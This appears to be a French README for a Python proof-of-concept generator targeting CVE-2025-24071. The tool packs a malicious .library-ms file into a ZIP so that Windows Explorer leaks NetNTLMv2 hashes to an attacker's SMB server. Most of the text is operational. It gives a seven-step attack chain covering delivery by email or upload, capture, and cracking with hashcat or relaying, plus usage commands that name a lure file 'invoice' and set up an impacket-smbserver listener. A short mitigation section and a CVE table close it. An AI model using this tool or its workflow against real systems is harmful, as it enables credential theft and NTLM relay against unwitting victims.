
Générateur de PoC Python sans dépendances pour CVE-2025-24071 qui crée un fichier .library-ms malveillant dans un ZIP pour déclencher la divulgation du hash NTLM de Windows Explorer.
⚠️ Avertissement : Cet outil est destiné à des fins éducatives et à des tests d'intrusion autorisés uniquement. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test. Toute utilisation non autorisée est illégale.
L'Explorateur de fichiers Windows analyse automatiquement certains types de fichiers dès qu'ils apparaissent dans une vue de dossier, sans aucune interaction de l'utilisateur telle qu'un double-clic. Les versions affectées ne parviennent pas à valider correctement les fichiers .library-ms, qui peuvent définir un connecteur de recherche pointant vers un chemin SMB distant arbitraire.
Lorsque l'Explorateur affiche un dossier contenant un fichier .library-ms malveillant (par exemple juste après l'extraction d'une archive ZIP/RAR), il tente silencieusement de se connecter au chemin UNC contrôlé par l'attaquant pour résoudre l'emplacement de la « bibliothèque ». Cette tentative de connexion SMB transporte le hash NetNTLMv2 de la victime, qu'un attaquant capturant le trafic sur l'hôte spécifié (par exemple avec impacket-smbserver ou Responder) peut ensuite tenter de casser hors ligne ou de relayer.
Ce dépôt contient une réécriture minimale et sans dépendances d'un générateur de PoC public pour cette vulnérabilité : il construit le fichier .library-ms malveillant et l'empaquette dans un ZIP, en utilisant uniquement la bibliothèque standard de Python.
Un fichier .library-ms est un document XML qui indique à l'Explorateur Windows d'afficher le contenu d'un emplacement distant ou local en tant que « bibliothèque ». Son élément <simpleLocation><url> peut pointer vers un chemin UNC (\\<host>\<share>).
Dans les versions affectées, l'Explorateur résout cet emplacement dès que le dossier est affiché — aucun double-clic ni action explicite n'est requis au-delà du fait que le fichier soit visible dans une vue de dossier (par exemple, juste après l'extraction d'une archive qui le contient).
impacket-smbserver, Responder, etc.)..library-ms malveillant est généré, pointant vers \\<attacker_ip>\<share>.1. Start an SMB listener on the attacker machine
2. Generate a .library-ms file pointing to \\<attacker_ip>\<share>
3. Package it into a ZIP archive
4. Deliver the ZIP to the victim (upload feature, email, share, etc.)
5. Victim extracts the ZIP and Explorer renders the folder
6. Explorer resolves the UNC path -> SMB auth attempt -> NetNTLMv2 hash captured
7. Crack the hash offline (hashcat -m 5600) or relay it
os, sys, argparse, zipfile)Aucune dépendance tierce n'est nécessaire pour générer la charge utile. La capture du hash nécessite un écouteur SMB tel qu'Impacket (impacket-smbserver) ou Responder côté attaquant.
git clone https://github.com/BardLaudian/CVE-2025-24071.git
cd CVE-2025-24071
usage: cve_2025_24071.py [-h] [-n NAME] [-i IP] [-s SHARE] [-o OUTDIR] [-a]
options:
-n NAME, --name NAME Output base filename (no extension)
-i IP, --ip IP Attacker IP to embed as the UNC path target
-s SHARE, --share SHARE Share name (default: shared)
-o OUTDIR, --outdir OUTDIR Output directory (default: current dir)
-a, --affected-versions Print the list of affected Windows versions and exit
python3 cve_2025_24071.py -n invoice -i 10.10.14.5
Cela produit invoice.zip, contenant invoice.library-ms pointant vers \\10.10.14.5\shared.
impacket-smbserver shared /tmp/smbshare -smb2support
python3 cve_2025_24071.py -n report -i 10.10.14.5 -s data -o ./payloads
python3 cve_2025_24071.py -a
.library-ms et de types de fichiers similaires analysés automatiquement avant qu'ils n'atteignent les postes de travail des utilisateurs finaux..library-ms, aucune nouvelle technique d'exploitation| Champ | Valeur |
|---|
| CVE | CVE-2025-24071 |
| Affectés | Windows 10 (1607–22H2), Windows 11 (22H2–24H2), Windows Server 2012 R2 – 2025 |
| Type | Exposition d'informations sensibles à un acteur non autorisé (CWE-200) |
| Privilèges | Aucun (attaquant non authentifié ; nécessite que la victime visualise/extrait le fichier) |
| Impact | Divulgation du hash NetNTLMv2 → cassage hors ligne ou relais NTLM |
| CVSS | 7.5 Élevé (selon la GitHub Advisory Database) / 6.5 (base MSRC) |
| Correctif | Mises à jour cumulatives du Patch Tuesday de mars 2025 |